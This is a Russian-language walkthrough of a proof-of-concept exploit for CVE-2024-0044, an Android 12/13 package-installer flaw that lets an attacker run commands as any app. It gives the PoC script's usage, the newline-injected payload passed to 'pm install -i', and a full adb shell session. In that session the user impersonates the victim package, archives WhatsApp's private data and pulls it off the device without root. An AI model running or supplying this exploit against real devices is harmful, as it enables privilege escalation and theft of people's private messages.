
CVE-2024-0044: уязвимость высокой степени серьезности типа «выполнение как любое приложение», затрагивающая версии Android 12 и 13.
CVE-2024-0044, обнаруженная в функции createSessionInternal файла PackageInstallerService.java, является уязвимостью высокой степени серьезности, затрагивающей Android 12 и 13. Эта уязвимость позволяет злоумышленнику выполнить атаку «run-as any app», что приводит к локальному повышению привилегий без взаимодействия с пользователем. Проблема возникает из-за неправильной проверки входных данных в функции createSessionInternal. Злоумышленник может воспользоваться этим, манипулируя процессом создания сеанса, потенциально получая несанкционированный доступ к конфиденциальным данным и выполняя несанкционированные действия на затронутом устройстве.
Эксплойт был обнаружен Meta security
Доказательство концепции было обобщено и опубликовано Tiny hack
Подробности об исправлении безопасности можно найти в бюллетене безопасности Android
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P используется для указания имени целевого пакета, от имени которого вы хотите запустить приложение
-A для указания пути к APK-файлу для отправки на устройство
Запустите инструмент
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Будет сгенерирован файл payload.txt следующего содержания:
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Successpl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Создайте временный каталог: mkdir /data/local/tmp/wa/
Создайте заглушку для tar-файла: touch /data/local/tmp/wa/wa.tar
Установите широкие права доступа: chmod -R 0777 /data/local/tmp/wa/, чтобы любой пользователь мог читать, записывать и выполнять в этом каталоге.
Переключите контекст пользователя: run-as victim, чтобы получить те же разрешения, что и у пользователя «victim».
Заархивируйте данные целевого приложения: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, создав tarball с данными каталога WhatsApp.
adb pull /data/local/tmp/wa/wa.tar
Вы можете распаковать данные с помощью 7z или любого другого инструмента
Вы можете использовать Whatsapp chat exporter для преобразования в HTML
Это позволяет получить данные WhatsApp без root-доступа на устройстве